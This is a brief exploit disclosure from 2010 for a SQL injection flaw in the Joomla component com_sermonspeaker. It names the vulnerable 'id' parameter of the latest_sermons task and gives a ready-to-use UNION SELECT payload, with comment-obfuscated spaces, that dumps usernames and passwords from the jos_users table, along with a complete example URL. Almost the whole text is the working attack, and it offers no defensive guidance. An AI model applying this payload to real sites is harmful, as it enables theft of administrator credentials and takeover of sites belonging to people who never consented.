Component com_sermonspeaker SQLi
# Title:Joomla Component com_sermonspeaker SQL Injection Vulnerability # Author: SadHaCkEr # Data : 2010-04-12 [~] Vulnerable : http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL] [~] ExploiT : -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/ [~] Example : http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id= -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/